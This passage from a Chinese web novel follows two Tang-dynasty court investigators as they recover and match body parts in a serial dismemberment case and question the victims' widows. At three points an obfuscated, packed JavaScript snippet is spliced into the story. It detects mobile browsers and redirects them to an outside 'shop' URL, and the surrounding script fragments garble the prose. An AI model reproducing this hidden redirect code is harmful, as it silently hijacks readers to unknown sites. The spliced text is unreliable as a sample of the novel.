“嗯,公主和十六感情好,表兄自然和十六能好好相处。” 这一脸正直…… 闻蝉瘪瘪嘴。 真是个分不清男女的傻子。 她抱起大黄耳:“走了走了,先去醴泉坊看看吧!” *** 傍晚。 院内,向来爱跑爱跳的大黄耳趴在地面上,伸着舌头,狗脸满是呆滞。 今日,二人的收获还是有的。 一个人头和一截人的腰部。 “这个少了舌头的人头是冯鄂的没错,那个腰的正面有一道横贯的伤口,倒像是司马岳的尸体。”闻蝉说话都有气无力,完全没有了往日里的中气。 郑观澜拍了拍名单,撑着额头,微微合着眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841752|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “冯鄂是金吾卫的一个将军,还有司马岳和潘铄,这案子得上报陛下吧?” “嗯……肯定啊,死了两个当官的。”闻蝉问道,“失踪时间呢?” “司马岳是四月二十一失踪,冯鄂是四月二十四。” 闻蝉哀嚎一声,趴在桌子上。 “潘铄是四月二十!很有可能还有两名死者,一个二十二一个二十三!”她捶了一下桌子,“这个挨千刀的凶手也不嫌累得慌,一天杀一个啊!!!” “凶手确实很厉害,杀人分尸抛尸做得行云流水一般。” “还有那个冯鄂头上的钉子,你看过没?” “和之前潘铄头上的钉子大小材质都一样,只是花纹有一点不同,这次的花纹是一个叉,首尾以及交汇处各有一个点。”郑观澜打了个哈欠,“这么找下去不是个事儿,大黄耳都累得受不了。” “可不这样还有什么法子?” “我觉得凶手抛尸不像是你之前所说的头远身近,倒更像别有目的。若是按照头远身近的规律,那潘铄和冯鄂的人头怎么会和司马岳的腰部都在醴泉坊。而发现司马岳的肠子的丰邑坊在京城西南,距离发现手脚的安善坊又很远。” 郑观澜拿出京城的地图,将已经发现尸块的地方一一标记上。 “西边醴泉坊,枯井中是潘铄的人头,废弃砖窑中是冯鄂的人头,司马岳的腰。西南的丰邑坊是司马岳的肠子,安善坊正南发现了手脚……” “除了远小近大还能有什么规律……”闻蝉凑过去和他一起看着地图,“感觉八竿子打不着啊。” “还有疑点,发现人头的位置都很特殊,其他尸块的位置都是随意埋在地下或是扔在垃圾堆里。” “人头缺失的耳朵和舌头也没有找到。” “钉子的花纹……” 一个个疑问接二连三冲击着二人的脑子。 身体的疲倦和过度用脑的劳累齐齐涌上来。 屋内的说话声逐渐变小,乃至消失。 烛火下,两个脑袋靠在一起,在被画得面目全非的地图上投出交缠的人影 …… “汪儿~” 拐着音调的狗叫声让人从睡梦中惊醒,一抬头,就像是撞到了什么东西一般。 “嗷!”闻蝉捂着脑袋,却一眼瞧见了同样捂着头的郑观澜,“你怎么在这儿?” 郑观澜松开手,撑着桌面。 “有没有可能这里是我的值房?” 闻蝉这才清醒了些。 “昨晚竟然就这么睡着了?” 郑观澜扭过头:“跑了整整一日,能不累成这样吗?我们再这样找下去,尸体没找全,我们就先得变成尸体。” 闻蝉伸了个懒腰,语气很是轻松。 “不会的,死不了,大理寺忙起来都是这样。”她按住对方的肩膀,“你,要习惯。” 郑观澜躲开她的动作。 “你自己说的,时间拖得越久,凶手清理证据的时间越多,什么案子都要速战速决。” “是我不想速战速决吗?!”闻蝉吼道,“现在尸块就这么多,你想找规律都找不到!动起来总比干坐着好!你要是不乐意查案就回去做你的大少爷!” “我还不是……” “闻蝉!”卓啸冲了进来,打断了二人的争执,“外面有人来闹事了!” 33. 姐妹同心 大理寺的大堂被挤得满满当当。 瞧着里头一个个伸长了脖子扯着嗓子来讨说法的人,闻蝉停下脚步,不想进去。 “他们来闹什么?” 卓啸说道:“碎尸的事走漏了风声,这些人都是最近这段时间失踪的人的家里人。” 闻蝉瞟了一眼:“知道是闹事的,你还把人放进来?!” 卓啸摊手:“都是京城里有头有脸的人家,不放进来就去敲登闻鼓了!” 有头有脸…… 闻蝉看向旁边黑着脸的郑观澜,露出一个笑。 “郑评事,都靠您了哟~” “我是大少爷,准备回家去,不想理这些闲事。”郑观澜扭过头,不看她。 真小气! 闻蝉腹诽完转到他面前,讨好一笑。 “是下官睡糊涂了才说了胡话,您大人有大量,别和我计较嘛。” 郑观澜合上眼,像是没听见一样。 卓啸可见不得闻蝉对着别人做小伏低,一把将闻蝉拉过来。 “我陪你去不一样吗?怎么着?我还护不住你?” 郑观澜猛地睁开眼,死死盯着卓啸的手。 “拉拉扯扯,成何体统!卓捕头不懂尊卑有别吗?” 卓啸把人往自己的方向拉了拉。 “我们青梅竹马一起长大的,只有情谊,没有尊卑。郑评事才到大理寺自然不懂。” “你……” “停!”闻蝉用力拽回自己的手腕,“你力气大了没地儿使啊?” 卓啸一点儿都不尴尬:“力气是没你大的。” 闻蝉一巴掌用力拍在他的胳膊上。 “痛不痛!” 卓啸搓了搓胳膊,学着她的口音。 “痛痛痛!” 郑观澜看得眼睛发红,死死忍住气。 “人还在里面呢。” 闻蝉抬眼瞅他:“你来?” “自然。”郑观澜迈步进去。 三人一进来就被团团围住。 “郑六郎!外头说的碎尸案是不是真的?” “我们家郎君失踪两日了!” “听说找到了一个人头?那个人头是谁啊?不是我们家郎君吧?” 嘈杂的声音吵得人脑袋疼。 “肃静!”郑观澜低声一吼。 现场一下安静了下来。 郑观澜在人群扫视一眼。 “碎尸案确实是真,但是找到的尸体和你们家都没有关系。” “那死的是谁?” “这和你们就没关系了。”郑观澜声音大了些,“这案子是我在负责,具体情况早已上报给陛下,就不劳烦你们去敲登闻鼓了。至于你们郎君失踪的事……” 他蔑了一眼:“自己家的郎君是什么德行不知道吗?不是青楼就是赌坊,自己去找。” 众人都低下头来,大气都不敢出。 “还站在此处做什么?等着我亲自送你们?”郑观澜面无表情,其余人却不敢再造次,你看看我我看看你就一溜烟跑了。 人一走,闻蝉反而有些不安。 “若是其中真有死者的家里人?” “司马岳他们家里人长什么样我记得。” “郑评事!”小梁急匆匆跑了过来,“外头来了个王夫人,指名要见您。” “王夫人?”闻蝉看向他,“什么王夫人?” 郑观澜对小梁问道:“可是右眉上长了一颗痣?” “是,是个大美人。” “请进来吧。” “是。” 郑观澜解释道:“是司马岳的夫人,王有竹,此人也是王子仪的姑母,她出身望族,怕是已经听到了什么风声。” “王子仪的姑姑?”闻蝉心头一跳,“这人为人如何?” “不了解。”郑观澜朝着卓啸吩咐道,“卓捕头,大理寺的差役以你为首,这次的碎尸案事关重大,就劳烦你去搜寻剩余尸块了。” 卓啸眯了眯眼睛,最终还是没有多说。 “属下遵命!” “安善坊还没有去过吧?” “安善坊距离较远……” “那你们今日就去安善坊吧。”郑观澜立即拍板,语气不容置疑。 卓啸笑了笑,眼神却很冷。 “是。” 卓啸前脚离开,王有竹就走了进来。 小梁说得没错,这位王夫人像是画卷里走出来的美人似的,气质温婉沉静,如春风拂面。 就连她身后跟着的已经足够漂亮的貌美妇人都被她压得看不清五官。 “郑评事,闻录事。”她缓缓行礼,主动道,“今日冒昧上门,实在是失礼了。只是,我听说京城有命案发生,家夫又数日未归,所以才忍不住前来相问。这……案子和家夫没关系吧?” 她眉间满是担忧之色。 二人一时有些张不开口。 闻蝉硬起心肠回答道:“您既然对案情已经知晓一二,我也不再隐瞒。昨日我们确实找到了疑似司马将军的尸块。” 王有竹身体晃了晃,面上血色褪尽,还是她身后的人眼疾手快一把扶住了她。 “我就知道……我就知道……” “也不一定。” 王有竹摇头苦笑:“闻录事不必安慰我。我家夫君向来没有什么恶习,更不会数日不归家,他几日未归也没有任何消息定然是出了事。况且,我是信得过你的本事的,你说疑似定然就是了。” 闻蝉见她还算撑得住,也不再避讳。 “那我有些话想要问夫人,请夫人仔细回答。” 王有竹点点头。 “我不是不讲理的人,放心问吧。” 对方温文的模样让闻蝉彻底放下心来。 “您最后一次见到司马将军是什么时候?” “四月二十一的正午,我们去打听过,他具体失踪时间应该是四月二十一的傍晚,他从家里去了平康坊就再也没人见着他了。” 又是平康坊! “司马将军出门没有带仆人吗?” 王有竹看向扶着她的妇人。 那妇人回答道:“没有,阿郎那日在我那处用完饭就一个人出门了。我问过他,他说出去走走,带人累赘。” “那将军失踪前可有什么异常?” 王有竹下意识摇摇头,又顿住:“别的没有,只是最近他不知怎么倒是开始信佛了,还带着我们去了好几次寺庙。” “寺庙?” “是,这几次去乐游原游玩,夫君都必去青龙寺礼佛,还添了不少香油钱。或许如他所言,是想求家人平安康健吧。” 乐游原是京城最高处,南看曲江池,西望慈恩寺,是登高赏景的绝佳之地,而青龙寺就在乐游原旁。 去游玩礼佛,看上去也很合理。 “请问夫人,司马将军腹部偏右的位置可是有一道三寸来长的伤疤。” 王有竹眼睛一下红了,她忍住泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846138|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是……是有一道,那是他年轻的时候在战场上受的伤。”她上前一步,“可否让我见见他?” 闻蝉是真怕吓着这位好脾气的世家夫人。 “嗯……等我为将军收拾妥当,再让人去请夫人吧。” 王有竹是真随和,也不纠缠。 “是我一时情急,倒忘了你们办案都是有规矩的。” “多谢夫人体谅。”面对这样好性子的人,闻蝉心里反而难受,她说道,“我们这边会尽快查出结果,夫人先请回吧。” 王有竹紧紧握住闻蝉的手。 “那就……一切拜托您了……” “夫人放心,在下定当竭力而为。” 王有竹点点头,在搀扶下缓缓离开。 闻蝉看着二人的背影,有些感叹。 “那个扶着她的是司马岳的妾室吧?俩人感情还不错啊。” 郑观澜眉头微蹙。 “亲姐妹,自然感情好。” “亲姐妹?!”闻蝉惊讶得下巴都要掉了。 也不怪她觉得意外。 媵妾在本朝已经很少见了。 郑观澜坐了下来,端起茶喝了一口。 “我也不太清楚,只听人提起过几句。这个司马岳后院妾室如云,和王夫人成亲不过几月,就纳了其异母妹妹为妾。” “王家也乐意?”闻蝉追问。 司马岳家世不显,能娶到王家女儿已经算好运了,王家向来清高,又怎么舍得再嫁一个过去? “司马岳给了极丰厚的聘礼。王夫人姐妹的亲生父亲早亡,婚事是她们的伯父做的主。” “那京城里的人还老说什么司马岳和他夫人夫妻情深?”闻蝉撇撇嘴,“成亲几个月就纳妾,纳的还是王夫人的亲妹妹?普通人家都不会这样打自己夫人的脸。” 郑观澜很是赞同。 “是王夫人性子好,后宅安定,才有的所谓的好名声。” 闻蝉一下想到了之前潘家的事。 “这些人传话可真是有意思,潘铄对夫人动辄打骂甚至还算计死了别人表哥,他们也说别人夫妻情深,可笑。” “确实,还不如很多普通夫妻,至少对自己夫人还算尊重。”郑观澜向来不喜这些人的做派,按了按眉心,“不正常。” 二人讨论完司马家的家事,又不得不回到如何寻找尸块的这个大难题。 “咳咳,等会儿我带大黄耳出去。”闻蝉依旧坚持自己的做法。 郑观澜此刻也冷静了些,好声好气和她分析道:“你自己算一算,京城有一百零八个坊,搜查一个坊至少需要一日的时间,我们得一百零八日才能完成对整个京城的初步排查。这还只是理论上来说。实际做起来,大黄耳受得了?你……受得了?” 闻蝉叹出一口气。 “能找多少是多少,你没有办过案,不明白。很多时候办案不是像我们之前在龙门山庄那么简单,更多时候需要的就是大量的走访和排查。”闻蝉站起身,“不过人手确实不足,我去找十六借些人来。” “你找他做甚?”郑观澜腾的站起身,“我们郑家又不缺人。” “让你们家也掺和进来啊?” “不过是找尸体,我再不济,调些护卫仆人出来帮忙也不是不行。” 郑观澜这话也不算是吹牛,郑士化一直把他当做继承人培养,郑家下面的大部分人手他都能随意调动。 他甩了甩袖子,向外走去:“我让人去传信,去麻烦别人做甚……” 34. 露凝香 昨日已经搜查完醴泉坊,今日就从其东北方向的颁政坊开始搜查。 二人把马车停在坊门口,带着大黄耳一条条街道搜了过去。 又是一日的功夫,转眼间就到了下午。 今日收获颇为丰厚,二人不停不歇,竟然一口气搜了三个坊。 而大黄耳更是立了大功。 在颁政坊找到了两袋装着尸块的袋子,两个袋子分别装着四肢和肝脏。在布政坊中找到了两个脾,延寿坊中找到了两袋子上躯干和胃还有两颗心。 郑观澜把大功臣抱在怀里喂水。 “这狗你从哪儿买的?真的才花了二十两银子吗?” 他见过不少猎犬,没有一个如同大黄耳这般,有厉害的嗅觉,旺盛的精力,还听话至极,甚至完全不攻击人。 闻蝉摸了摸大黄耳手感绝佳的大耳朵,得意得眉毛都扬了起来。 “卖狗的番人说大黄耳老在家搞破坏所以才低价卖了的。”闻蝉拍了拍大黄耳的脑袋,“反正大黄耳从来没在大理寺搞过破坏,最多就是爱闹一点。” 郑观澜对于猫猫狗狗颇有了解。 “应当是他自己把狗拘在家中,狗精力太旺盛发泄不了才会搞破坏,我家的猫儿也是如此。” 黄昏逼近,天边已经染上橙色的光。 闻蝉看了看天色:“先回吧,明日再来找。” 她面带喜色,搓着手:“回去拼尸体!今日的尸块都很重要,我觉得能够找出不少线索。” “可惜没找到人头。” “你太贪心啦。” 闻蝉转身去牵马车。 “闻娘子。” 一个气度儒雅的青年踱步而来。 这人穿着一身簇新的青色布衣,眉眼细长,笑起来十分温和,若非腰间垂一块清亮似冰的翡翠玉佩,还真像个普通的读书人。 “你怎么没在大理寺?” “翟郎君?”闻蝉放下马缰,“来办些事情。” 翟听风看向郑观澜,笑得客气。 “这位就是你那日说起的郑评事吗?” 郑观澜矜持地点点头:“这位是?” 闻蝉介绍道:“露凝香的翟老板。” 郑观澜完全没有打招呼的意思,甚至都没有多看对方一眼。 翟听风还是一脸微笑,对着闻蝉问道:“你是为那碎尸案而来吗?” “你也知晓了?” “有所传闻。你忘了?潘铄失踪那日还和我一起喝过酒。”翟听风幽幽叹气,“我还以为你来延寿坊是来找我的呢,看来,是我自作多情了。” 郑观澜轻哼一声。 是挺自作多情的。 闻蝉挠了挠头:“你不说我还真差点忘了呢。” 翟听风也没真介意,反而主动说道:“那日,我们本是出来谈一点小生意,用完饭就各自回了家,席间并没有异常。但是潘老板失踪前一段时日有点不对劲。” “怎么不对劲?” “潘铄这个人,做事狠绝,向来不信鬼神。可就在一年前,他竟然开始到处求神拜佛。” “竟有此事?” 她若是没记错,王夫人也提到过这一点。 “旁人都说是他见自己要绝后才去拜佛的。” 闻蝉这才想起,那日潘家的老仆人也哭诉过,潘铄似乎是没有孩子的。 潘铄如今已经年近四十,没有孩子……确实有些奇怪。 翟听风上前一步,正好半挡住一旁的郑观澜。 “闻娘子,你今日的事办完了吗?” “办完了啊。” “不如去我那里坐坐?用个便饭?你那里的香料也快用完了吧?正好我店上又来了新货,特意给你留着的。” “香料!”闻蝉一拍脑袋,“你瞧我这记性,你帮我留意个事。” “哦?什么事儿?”翟听风侧了侧身,顺势把郑观澜彻底隔绝开来。 “凶手还用了防腐的香料,你帮我看看最近一段时日有没有谁购入过大量防腐的香料。” “没问题。”翟听风一口应下,“京城里香料的动向没有谁会比我更清楚了。走吧,此处距离我家铺子很近,我们边走边聊。” “大黄耳要吃肉,你答应过它。” 郑观澜冷不丁冒了一句。 闻蝉顿住脚步,只见大黄耳正在郑观澜怀里朝着她呜呜叫。 她敢保证要是不履行诺言,这狗能汪儿汪儿叫一晚上。 “我没说不去!”闻蝉举手投降。 翟听风笑容未变。 “是要去西市那家买肉吗?我正好也想那一口呢,不如同路?” 闻蝉自然不会拒绝。 她还有事要继续问翟听风呢! “我们查案的时候,听说潘铄曾经害过他夫人的娘家表哥?” “赵家?”翟听风一脸惋惜,“那赵老板也是命数不济。他和龚夫人只是普通表兄妹,哪里有什么私情?谁能料到潘铄那样小心眼,就为了这么一点事把赵家搞得家破人亡。他做事太不地道。怎么,他的死和此事有关?” “一个推测罢了。那日我还碰见了赵老板的遗孀。当真可怜,还带着两个孩子。” “唐夫人当真是个厉害的,原本也是金娇玉贵的娘子,如今走街串巷卖酥山,也撑起了一个家。命苦啊。” “唐夫人娘家……不管吗?” “都被牵连了。唐夫人的父母自顾不暇,回了老家。”翟听风忽然停下,“唐夫人在前面。” 不远处,唐琼花正推着小车向前走着,闻蝉立即往他身后一躲。 “挡一挡!我之前骗她我认识赵老板来着。” 翟听风笑意更深了些。 “好,帮你挡住。你骗她是为了打听潘铄的事情吗?为何不来直接问我呢?” “这不忙着吗?而且老是麻烦你多不好。” “没事的,你和旁人不一样,可以随便麻烦我。” “人已经走了。”郑观澜伸手把人扯出来,“有什么好躲的?你现在好歹也是大理寺的官员,何必如此鬼鬼祟祟。” 就算要躲,也该躲在他身后。 “你不懂,万一我以后还得骗她呢?”闻蝉摆摆头,向前走去。 买完香喷喷的卤肉,自然就要打道回府。 “我驾马车回去把尸体放好就回去,你家就在附近……自己走回去呗。” 郑观澜瞥了一眼蠢蠢欲动的翟听风。 “今晚就不回去了,连夜办案。” “你不累?” “一点都不。”郑观澜背打得笔直,他只觉得自己现在十分精神,一点都不疲倦,“早些回去,莫要和他人闲聊。” 翟听风此时的表情才有了一丝变化。 他第一次认真打量了一眼郑观澜。 这个世家子,似乎和他的了解有所不同。 “既然闻娘子还有事要忙。”他还是一副温和模样,拱了拱手,“我也得先回去了。” 闻蝉挤出一个笑:“等案子办完了,我请你喝酒。” 翟听风扬眉一笑,眼神在郑观澜的脸上滑过。 “那我就翘首以盼了。” *** 回到大理寺,闻蝉吃了几口卤肉就算是一顿饭。 “我先去验尸,你回家去吧。” 郑观澜把两双筷子摆好。 “坐下。” “干嘛?” “先用了饭再去,今日你一日没有吃东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852435|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闻蝉一脸莫名:“方才我吃了啊?” “那不能算。”郑观澜抬了抬下巴,“饮食要规律,按时按点。” “我不饿就行。”闻蝉提脚欲走。 “我应当是可以扣你的俸禄的吧?”郑观澜的声音飘入耳中。 闻蝉只觉得双脚顿时重若千斤,无法抬起。。 “你这样可不好。” “坐下。” 桌上摆的菜不多,但是都是热腾腾的,对于饿了一日的人来说,还是十分诱人。 闻蝉退了回来,屈服了。 “听上官的。” 郑家家教很严格,向来是要求食不言寝不语。 闻蝉家里管得松,但是她吃饭向来很认真,也不会说话。 可今日倒是郑观澜先忍不住了。 他撂下筷子。 “那个翟听风和你很熟?” “相识多年,怎么了?” “他倒是主动。” “你怀疑他?”闻蝉皱了皱鼻子,“你在想什么啊?” 郑观澜越发觉得自己有理。 “谁碰见这样的案子还会主动作证提供线索?他又懂香料,难道不可疑?” 闻蝉伸手摸了摸他的额头。 “不烫啊……” “你做甚!”郑观澜像只被踩了尾巴的猫似的,向后一躲。 “我看看你是不是劳累过度导致发热,把脑子烧糊涂了。别人翟听风是热心肠,主动提供线索有什么奇怪的?那日那个林大夫不也主动给我们提供了线索吗?你这人真阴暗。” “阴暗?”郑观澜上下看了她一眼,“有时候真没想到你会如此天真。” 就是他都能看出来,那个翟听风对她心怀不轨! “懒得理你。”闻蝉哪里猜得出对方的这点子心思,“吃完了,和我去验尸。” 今日找到的尸块中最重要的就是那两袋躯干。 躯干是可以和头颅拼合的。 闻蝉将两个躯干和目前找到的两个人头比,完全对得上。 接着又是四肢。 四肢也和今日找到的两个躯干又分别对应。 “所以,冯鄂和潘铄的人头都在醴泉坊,躯干都在颁政坊,四肢都在延寿坊。这在布政坊找到的两个脾胃心应该也是他们二人的。我是不是可以认为……抛尸其实是有规律的?” *** 时间已晚,二人自然是又在值房凑合。 闻蝉用艾草水又洗又涮了半个时辰,才算收拾利落。 熟悉的艾草香气在开门声后扑面而来。 “我把目前发现尸块的地点全部标注出来了。”郑观澜低着头,看着那地图,“若是没有猜错,凶手应该是把其余的尸块抛在人头所在的四周。” “嗯,我也这样觉得。”闻蝉坐了下来,伸着脖子看那地图,“虽说脏腑无法对应死者的身份,但是应该没有问题。潘铄和冯鄂的人头在中央的醴泉坊,四肢肝脏在醴泉坊东北方向的颁政坊,脾在南边的布政坊,躯干胃两颗心在东南的延寿坊。” “人头所在的坊在中心,其余尸块在其四周的坊。”郑观澜点了点 “这样就简单许多了。”闻蝉长舒一口气,“我们只需要搜查金城坊、怀远坊、崇化坊、群贤坊、聚德坊、义宁坊。” 范围缩小了太多。 “刚好,我的人今日就去的金城坊那边,明日应该就会有消息。” “还有司马岳!他的腰在醴泉坊,肠在丰邑坊,那人头就是在居于两个坊中央的怀远坊!” “怀远坊就在醴泉坊南面,都在一处,也好搜。”郑观澜松懈了不少,把地图递给她,“事情已经解决了大半,你也该安心休息了吧?” 35. 无鼻人头 夜色沉沉,院内忽然亮起一点烛火。 烛火在半空中平稳移动。 大黄耳动了动耳朵,瞅了一眼又歪着脑袋睡去。 笃笃。 门被敲了两下。 “郑六……郑六……” 幽幽的女声被压得很低,乍一听像是女鬼一样。 门很快被打开,郑观澜披着衣裳,头发些许凌乱。 “你不睡了?都什么时辰了?” 闻蝉举起烛台。 “别睡啦,我们来说说案子?案情如此波澜起伏,你睡得着吗你?” “我睡得着。” 嘴上这样说,郑观澜还是侧身放人进来了。 闻蝉径直走进去,占用了最舒服的软榻,指着桌上的还冒着热气的茶盏控诉。 “明明你自己也没睡。” 郑观澜坐在她对面,又喝了一口茶。 “我就是不睡也会躺着闭目养神。不像你,日子过得毫无规章。不按时吃不按时睡!” 还带得他如今也这样!怎么只要遇到对方,他的一切都会被打乱。 看到世家公子哥吃这样的苦,闻蝉很是高兴。 “好歹还有我陪着你嘛。” “谁要你陪。”郑观澜叹了口气,说回了案子,“我一直在想,凶手为何要用这样的方法抛尸呢?这和你之前说的规律不一样。” 闻蝉见多了各色案子,倒是猜出了几分。 “所有的案子的出发点都是两个字——动机。之前我们总结的抛尸规律,凶手抛尸动机是为了洗清嫌疑为先。但是,如果出现违背一般规律的情况,说明凶手的动机有所改变。而这种不顾麻烦也不顾自身安危的做法,往往代表凶手对死者有很深的偏执。” “偏执?” “你记得吗?死者的头上都有一个花纹奇特的铁钉还缺失了五官中的一个。” “记得。这也是我想不通的地方。” “仪式。这是凶手是在做杀人的仪式。” 这一句话让郑观澜豁然开朗。 “是有这种说法!” “虽然目前我们还摸不到真正的规律,但是凶手反常的行为一定是一种极其邪恶的仪式。” 郑观澜猜测道:“死者和他们有极深的仇?” “很有可能。不为了仇,谁会用这样麻烦的法子杀人抛尸?” 郑观澜却忽然想起了龙门山庄的案子。 “也不一定吧,你之前不是说过有些人的想法异于常人?杀人还做什么仪式,凶手定然也不是什么正常人,或许他只是因为死者的一些特征才选定了他们?死者目前确定身份的有三个,据我所知,潘铄、司马岳和冯鄂三人,并没有太多的交道。凶手会和他们三人同时结仇吗?” 这话确实提醒了闻蝉。 她其实是有怀疑的对象的。 唐琼花。 她走街串巷有条件抛尸。 “你说得有理,或许只是因为这三人身上有什么特殊的地方是凶手所需要的。” “和钉子脱不开关系。”郑观澜揉了揉眉心。 “这就是你的事啦。目前还是得先找到尸体。”闻蝉眯了眯眼睛,“安善坊找到的四肢还不知道是谁的呢。” “不管是谁,你都该睡了!” “哎呀,你别急啊,我觉得还有地方值得探讨呢。” “你这个月俸禄想不想要了。” “你又拿这个威胁我?!” “看来是很有用。” “郑观澜!” “去睡觉。” …… 辰时。 闻蝉在两声转着弯的狗叫声中醒来。 她揉了揉眼睛。 是来外人了?大黄耳才这样叫? 她洗了把脸,套上衣裳走了出去。 只见对面的值房内,成生正弯着腰对郑观澜说着什么。 闻蝉快步走了进去,自己找个地儿坐下。 成生正说着。 “按照您的吩咐,找到的尸体都放到了验尸房。” “找到了多少?”闻蝉问道。 成生笑眯眯回答:“小的找何七郎还有颜九郎借了十几只猎犬,一一搜过去,把醴泉坊附近都找了个遍,不仅搜到了数袋尸块,还找到了司马岳的人头。” “人头是在怀远坊找到的吗?” “是,在怀远坊一个废弃的铁匠铺子里找到的。” “你可真是得力。”闻蝉脸上都是满意的笑,“要是你能到我们大理寺来就好了。” 郑观澜嘴角弧度瞬间消失。 “那你就只能失望了。”。 成生急忙道:“小的不过是个跑腿的!主意都是我们郎君出的,我们郎君都在大理寺了,闻录事你还嫌不够哇!” 此话一出,郑观澜表情一下缓和了不少,甚至连嘴角都带上了极淡的笑意。 成生暗自松了口气,又说道:“郎君,您今日还回府吗?县主这几日派人来院里问了好几次。” 郑观澜眉头微皱。 “有公事要忙,还定不下来。你先回吧。”他顿了顿,“把院子守好,别让外人沾手。” 成生做事确实是十分妥帖的。 每一块尸块被发现的位置都详细记录了下来。 闻蝉拼合好三具尸体后,开始动手缝合。 “你给我念一念,尸块的位置。” 郑观澜坐在一边,拿着纸念道:“司马岳,人头在怀远坊废弃铁匠铺发现,缺失鼻子。腰在醴泉坊。四肢和肝脏在光德坊东南角,脾在延康坊,躯干在崇贤坊东北角,心在崇贤坊西南角……” 闻蝉停下手:“有一点很奇怪。” 郑观澜放下手上的纸张。 “你也察觉到了?躯干和心同在一坊,凶手却特意分开抛尸。” “这应该和凶手遵循的规律有关。”闻蝉继续弯下腰,用针刺破发白的皮肉,用线将分离的表皮一点点缝合起来,“这个凶手把尸体还处理得真干净。” “也足够可怕。”郑观澜直到现在都无法面对这样的尸体,“把人像是猪狗一样屠宰。” “你这个比喻很贴切。冯鄂那里你查得怎么样了?” “还是那样,他家里的夫人也好仆人也好,都说他就是四月二十四那日离家后就失去了踪迹,和另外二人一样,没带仆人,只是他失踪的地点在醴泉坊。” “冯鄂有求神拜佛吗?” “让你说中了,他夫人提起过,冯鄂最近确实开始求神拜佛。还有一件事,发现司马岳人头的铺子,主人就是那日来报案的匈奴人。” “兰什么那个?”闻蝉手上微微一颤。 “没错。”在她背后,郑观澜眼神正一错不错盯着她的手。 “他能有什么嫌疑,应该只是凑巧。” 郑观澜没再多言。 “那你现在心里有人选吗?” “有。”闻蝉手下动作慢了些,“三人的死因都是铁钉入脑,且都没有任何搏斗的痕迹。凶手一定和三人关系密切,不然不会那么轻松就能把钉子钉到他们脑子里。” “之前表兄和我提起过,司马岳是个戒心很重的人,冯鄂……这个人是行伍出身,又在做了这么多年的金吾卫,不仅戒心重武功也极好,都不是很好接近的对象。” “冯鄂的夫人和他关系如何?” “你怀疑她?” “万一呢。” “不可能。”郑观澜回答得十分坚决。 “他们感情很好?” “是。冯鄂的夫人是文敏,你应该听说过。” “那个大才女?宝应那儿还有她的诗集。” “是。文敏当年被曾家退婚,闹得沸沸扬扬,是冯鄂站出来维护了她的名声还力排众议和她成亲的。二人婚后虽然一直无子,但是感情一直很好。冯鄂并没有妾室。” “退个婚还闹得沸沸扬扬?至于吗?” “和寻常退婚不同,曾家公开宣扬是文敏和人私相授受才退婚的,文家也默认了。若非冯鄂上门求亲,文家当年就要把人送去道观。”郑观澜知道她疑心什么,“三名死者的妻子杀人嫌疑都很小,她们都没有孩子,娘家也和她们关系不好,这三人死后,她们的日子只会十分艰难。” “确实……很不容易。” …… 今日闻蝉提前散了值,刚过晌午就离了大理寺。 说是要回家去,但过了颁政坊,她却没有停下,反而朝西边继续走,一直到了怀远坊。 怀远坊靠近西市,人气旺,大街上人挨着人,十分喧闹。 街道两边摆着各色铁器,直背弯刀、双刃短剑还有各色小匕首,都带着异域风情,很是引人瞩目。 闻蝉边看边走,像是真来逛街的一 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“那人不是我杀的,闻录事找我干嘛?”他面色不太好看。 一连找到两个人头,多晦气! “听闻兰氏一族在匈奴主管刑狱,难道兰郎君不知刑狱之事吗?我来,只是问话,想看看有没有什么证据。” “能有啥证据……”兰赞嘀咕了一句,才说道,“问吧问吧。” “昨日发现尸体的铁匠铺废弃了很久吗?” “嗯,七八年没管了。”兰赞摆摆手,“那儿没人气了,自然就不管了。” “那昨日是如何发现的尸体呢?” “我还想问你呢!”兰赞一下来了气,声音都大了不少,脸上的络腮胡一动一动的,“那铺子是荒废了没错,可也是我的产业。你们的人也太不讲理了吧?招呼都不打一声,拽着几只狗就把我那门都给拆了!现在还来问我?” 闻蝉愣了一下。 她没想到一脸憨厚的成生做事也如此粗暴…… 兰赞继续抱怨道:“我到了铺子,连句对不住都没有!那个奴才还说什么,我们兰家算什么东西!你还好意思来找我问这事?你安的是什么心?是故意挑衅我吗?” 他说着说着,眼睛都发红了。 “你们太过分了……这不就是欺负人吗?我在这里老老实实做生意,碍着谁了?欺负我们……” 一个壮实的七尺大汉此刻竟然委屈得像孩子一样,就差哼哼唧唧抹眼泪了。 闻蝉嘴角抽搐了两下,旋即很快挤出一个笑。 